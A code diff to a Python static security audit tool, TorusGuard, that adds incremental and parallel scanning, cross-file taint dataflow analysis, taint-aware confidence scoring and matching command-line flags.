@@ -1315,6 +1345,7 @@ def score_and_cluster_findings(findings: List[Dict[str, Any]], target_root: Path
|
|
|
1315
1345
|
return scored, clusters
|
|
1316
1346
|
|
|
1317
1347
|
|
|
1348
|
+
|
|
1318
1349
|
def emit_run_artifacts(run_folder: Path, scored_findings: List[Dict[str, Any]], clusters: Dict[str, List[Dict[str, Any]]], target_root: Path) -> None:
|
|
1319
1350
|
"""Generate findings.json, findings.md, and summary.md into run folder."""
|
|
1320
1351
|
now_ist = get_ist_now()
|
|
@@ -1501,7 +1532,14 @@ def run_watch_mode(target_root: Path, severity_floor: str = "medium", json_outpu
|
|
|
1501
1532
|
print(f"\n {YELLOW}🛑 Watch mode stopped.{RESET}\n")
|
|
1502
1533
|
|
|
1503
1534
|
|
|
1504
|
-
def execute_audit(
|
|
1535
|
+
def execute_audit(
|
|
1536
|
+
target_root: Path,
|
|
1537
|
+
severity_floor: str = "medium",
|
|
1538
|
+
json_output: bool = False,
|
|
1539
|
+
include_tests: bool = False,
|
|
1540
|
+
incremental: bool = False,
|
|
1541
|
+
use_taint: bool = True
|
|
1542
|
+
) -> Dict[str, Any]:
|
|
1505
1543
|
"""Execute the full TorusGuard static security audit."""
|
|
1506
1544
|
start_time = time.perf_counter()
|
|
1507
1545
|
target_root = target_root.resolve()
|
|
@@ -1522,14 +1560,64 @@ def execute_audit(target_root: Path, severity_floor: str = "medium", json_output
|
|
|
1522
1560
|
except Exception:
|
|
1523
1561
|
pass
|
|
1524
1562
|
|
|
1525
|
-
# 2. Collect files
|
|
1563
|
+
# 2. Collect files to scan
|
|
1526
1564
|
files = find_files_to_scan(target_root, include_tests=include_tests)
|
|
1527
1565
|
all_findings = []
|
|
1528
|
-
for f in files:
|
|
1529
|
-
all_findings.extend(scan_file(f, target_root))
|
|
1530
1566
|
|
|
1531
|
-
|
|
1532
|
-
|
|
1567
|
+
inc_scanner = None
|
|
1568
|
+
files_to_scan = files
|
|
1569
|
+
unchanged_files = []
|
|
1570
|
+
|
|
1571
|
+
if incremental:
|
|
1572
|
+
try:
|
|
1573
|
+
from core.incremental import IncrementalScanner
|
|
1574
|
+
inc_scanner = IncrementalScanner(target_root)
|
|
1575
|
+
files_to_scan, unchanged_files = inc_scanner.get_changed_files(files)
|
|
1576
|
+
# Rehydrate findings for unchanged files
|
|
1577
|
+
for uf in unchanged_files:
|
|
1578
|
+
all_findings.extend(inc_scanner.get_cached_findings(uf))
|
|
1579
|
+
except Exception:
|
|
1580
|
+
files_to_scan = files
|
|
1581
|
+
unchanged_files = []
|
|
1582
|
+
|
|
1583
|
+
# Parallel or sequential scan on files_to_scan
|
|
1584
|
+
new_findings = []
|
|
1585
|
+
try:
|
|
1586
|
+
from core.parallel import ParallelAuditExecutor
|
|
1587
|
+
executor = ParallelAuditExecutor()
|
|
1588
|
+
new_findings = executor.scan_files_parallel(files_to_scan, lambda f: scan_file(f, target_root))
|
|
1589
|
+
except Exception:
|
|
1590
|
+
for f in files_to_scan:
|
|
1591
|
+
new_findings.extend(scan_file(f, target_root))
|
|
1592
|
+
|
|
1593
|
+
all_findings.extend(new_findings)
|
|
1594
|
+
|
|
1595
|
+
# Update cache if incremental scanner is active
|
|
1596
|
+
if inc_scanner:
|
|
1597
|
+
# Group new findings by file
|
|
1598
|
+
file_to_findings: Dict[Path, List[Dict[str, Any]]] = {f: [] for f in files_to_scan}
|
|
1599
|
+
for nf in new_findings:
|
|
1600
|
+
raw_fp = nf.get("file_path", "")
|
|
1601
|
+
target_f = target_root / raw_fp
|
|
1602
|
+
if target_f in file_to_findings:
|
|
1603
|
+
file_to_findings[target_f].append(nf)
|
|
1604
|
+
for target_f, f_list in file_to_findings.items():
|
|
1605
|
+
inc_scanner.update_file_cache(target_f, f_list)
|
|
1606
|
+
inc_scanner.save_cache()
|
|
1607
|
+
|
|
1608
|
+
# 2.5 Taint Dataflow Analysis (if enabled)
|
|
1609
|
+
taint_paths = []
|
|
1610
|
+
if use_taint:
|
|
1611
|
+
try:
|
|
1612
|
+
from core.cross_file_taint import CrossFileTaintAnalyzer
|
|
1613
|
+
analyzer = CrossFileTaintAnalyzer(target_root)
|
|
1614
|
+
# Analyze target files (capped to 200 files for high responsiveness)
|
|
1615
|
+
taint_paths = analyzer.analyze_project(files[:200])
|
|
1616
|
+
except Exception:
|
|
1617
|
+
taint_paths = []
|
|
1618
|
+
|
|
1619
|
+
# 3. Score & Cluster with Taint Evidence
|
|
1620
|
+
scored_findings, clusters = score_and_cluster_findings(all_findings, target_root, taint_paths=taint_paths)
|
|
1533
1621
|
|
|
1534
1622
|
# 4. Allocate run folder
|
|
1535
1623
|
runs_dir = target_root / ".torusguard" / "runs"
|
|
@@ -1595,6 +1683,8 @@ def main():
|
|
|
1595
1683
|
parser.add_argument("--scope", "-s", help="Alternative path to target project")
|
|
1596
1684
|
parser.add_argument("--severity", choices=["critical", "high", "medium", "low"], default="medium", help="Severity floor")
|
|
1597
1685
|
parser.add_argument("--watch", "-w", action="store_true", help="Continuous watch mode: re-scan on file save")
|
|
1686
|
+
parser.add_argument("--incremental", "-i", action="store_true", help="Incremental mode: only scan modified files")
|
|
1687
|
+
parser.add_argument("--no-taint", action="store_true", help="Disable taint-aware dataflow analysis")
|
|
1598
1688
|
parser.add_argument("--sarif", action="store_true", help="Automatically export findings to OASIS SARIF v2.1.0")
|
|
1599
1689
|
parser.add_argument("--sarif-out", help="Output file path for SARIF export")
|
|
1600
1690
|
parser.add_argument("--json", action="store_true", help="Output raw JSON")
|
|
@@ -1607,10 +1697,18 @@ def main():
|
|
|
1607
1697
|
run_watch_mode(target, severity_floor=args.severity, json_output=args.json, include_tests=args.include_tests, sarif=args.sarif, sarif_out=args.sarif_out)
|
|
1608
1698
|
sys.exit(0)
|
|
1609
1699
|
|
|
1610
|
-
res = execute_audit(
|
|
1700
|
+
res = execute_audit(
|
|
1701
|
+
target,
|
|
1702
|
+
severity_floor=args.severity,
|
|
1703
|
+
json_output=args.json,
|
|
1704
|
+
include_tests=args.include_tests,
|
|
1705
|
+
incremental=args.incremental,
|
|
1706
|
+
use_taint=(not args.no_taint)
|
|
1707
|
+
)
|
|
1611
1708
|
if args.sarif:
|
|
1612
1709
|
export_sarif(target, res.get("run_folder"), args.sarif_out)
|
|
1613
1710
|
|
|
1711
|
+
|
|
1614
1712
|
sys.exit(0 if res["critical_count"] == 0 else 1)
|
|
1615
1713
|
|
|
1616
1714
|
|
|
@@ -11,9 +11,14 @@ import argparse
|
|
|
11
11
|
from pathlib import Path
|
|
12
12
|
from typing import Dict, Any, Tuple, Optional
|
|
13
13
|
|
|
14
|
+
# Ensure .torusguard directory is in sys.path for core imports
|
|
15
|
+
_TG_DIR = Path(__file__).resolve().parent.parent
|
|
16
|
+
if str(_TG_DIR) not in sys.path:
|
|
17
|
+
sys.path.insert(0, str(_TG_DIR))
|
|
18
|
+
|
|
14
19
|
|
|
15
20
|
def compute_memory_boost(
|
|
16
|
-
rule_id: str,
|
|
21
|
+
rule_id: Optional[str] = None,
|
|
17
22
|
file_path: Optional[str] = None,
|
|
18
23
|
root_dir: Optional[Path] = None
|
|
19
24
|
) -> int:
|
|
@@ -112,21 +117,35 @@ def compute_confidence_score(
|
|
|
112
117
|
memory_boost: int = 0,
|
|
113
118
|
rule_id: Optional[str] = None,
|
|
114
119
|
file_path: Optional[str] = None,
|
|
115
|
-
root_dir: Optional[Path] = None
|
|
120
|
+
root_dir: Optional[Path] = None,
|
|
121
|
+
taint_path_confirmed: bool = False,
|
|
122
|
+
taint_depth: Optional[int] = None,
|
|
123
|
+
sanitizer_present: bool = False,
|
|
124
|
+
rule_severity: str = "High",
|
|
125
|
+
use_evidence_chain: bool = False,
|
|
126
|
+
**kwargs
|
|
116
127
|
) -> Tuple[int, str, Dict[str, Any]]:
|
|
117
128
|
"""
|
|
118
129
|
Computes total score and assigns confidence band.
|
|
119
|
-
|
|
120
|
-
- evidence_quality: 35
|
|
121
|
-
- reproduction_success: 25
|
|
122
|
-
- independent_confirmations: 15
|
|
123
|
-
- environmental_clarity: 15
|
|
124
|
-
- manual_review_status: 10
|
|
125
|
-
- memory_boost: -30 to +20 (modifier from persistent memory)
|
|
126
|
-
- test_deduction: -30 if file is located in a test/mock path
|
|
127
|
-
- doc_deduction: -25 if file is located in documentation
|
|
128
|
-
Total is clamped to [0, 100].
|
|
130
|
+
Supports classical factor evaluation and multi-signal evidence-chain calibration.
|
|
129
131
|
"""
|
|
132
|
+
if use_evidence_chain:
|
|
133
|
+
try:
|
|
134
|
+
from core.confidence import ConfidenceCalibrator, EvidenceSignals
|
|
135
|
+
signals = EvidenceSignals(
|
|
136
|
+
rule_severity=rule_severity,
|
|
137
|
+
taint_path_confirmed=taint_path_confirmed,
|
|
138
|
+
taint_depth=taint_depth,
|
|
139
|
+
sanitizer_present=sanitizer_present,
|
|
140
|
+
framework_context_match=True,
|
|
141
|
+
has_multiline_evidence=(evidence_quality >= 30),
|
|
142
|
+
is_test_or_mock=is_test_path(file_path),
|
|
143
|
+
memory_boost=memory_boost or (compute_memory_boost(rule_id, file_path=file_path, root_dir=root_dir) if rule_id else 0)
|
|
144
|
+
)
|
|
145
|
+
return ConfidenceCalibrator.calculate_score(signals)
|
|
146
|
+
except Exception:
|
|
147
|
+
pass
|
|
148
|
+
|
|
130
149
|
eq = min(max(evidence_quality, 0), 35)
|
|
131
150
|
rs = min(max(reproduction_success, 0), 25)
|
|
132
151
|
ic = min(max(independent_confirmations, 0), 15)
|
|
@@ -138,6 +157,13 @@ def compute_confidence_score(
|
|
|
138
157
|
if rule_id and eff_mem_boost == 0:
|
|
139
158
|
eff_mem_boost = compute_memory_boost(rule_id, file_path=file_path, root_dir=root_dir)
|
|
140
159
|
|
|
160
|
+
# Taint path adjustments
|
|
161
|
+
taint_mod = 0
|
|
162
|
+
if taint_path_confirmed:
|
|
163
|
+
taint_mod += 15
|
|
164
|
+
if sanitizer_present:
|
|
165
|
+
taint_mod -= 35
|
|
166
|
+
|
|
141
167
|
# Test and Doc path noise suppression
|
|
142
168
|
is_test = is_test_path(file_path)
|
|
143
169
|
test_deduction = -30 if is_test else 0
|
|
@@ -145,7 +171,7 @@ def compute_confidence_score(
|
|
|
145
171
|
is_doc = is_doc_path(file_path)
|
|
146
172
|
doc_deduction = -25 if is_doc else 0
|
|
147
173
|
|
|
148
|
-
raw_total = eq + rs + ic + ec + mr + eff_mem_boost + test_deduction + doc_deduction
|
|
174
|
+
raw_total = eq + rs + ic + ec + mr + eff_mem_boost + taint_mod + test_deduction + doc_deduction
|
|
149
175
|
total = min(max(raw_total, 0), 100)
|
|
150
176
|
|
|
151
177
|
if total >= 90:
|
|
@@ -164,6 +190,9 @@ def compute_confidence_score(
|
|
|
164
190
|
"environmental_clarity": ec,
|
|
165
191
|
"manual_review_status": mr,
|
|
166
192
|
"memory_boost": eff_mem_boost,
|
|
193
|
+
"taint_path_confirmed": taint_path_confirmed,
|
|
194
|
+
"taint_depth": taint_depth,
|
|
195
|
+
"sanitizer_present": sanitizer_present,
|
|
167
196
|
"test_exemption": is_test,
|
|
168
197
|
"test_deduction": test_deduction,
|
|
169
198
|
"total_score": total,
|
|
@@ -172,6 +201,7 @@ def compute_confidence_score(
|
|
|
172
201
|
return total, band, factors
|
|
173
202
|
|
|
174
203
|
|
|
204
|
+
|
|
175
205
|
def main():
|
|
176
206
|
parser = argparse.ArgumentParser(description="TorusGuard Confidence Scorer")
|
|
177
207
|
parser.add_argument("--dir", type=str, help="Target project root directory to scan and score")
|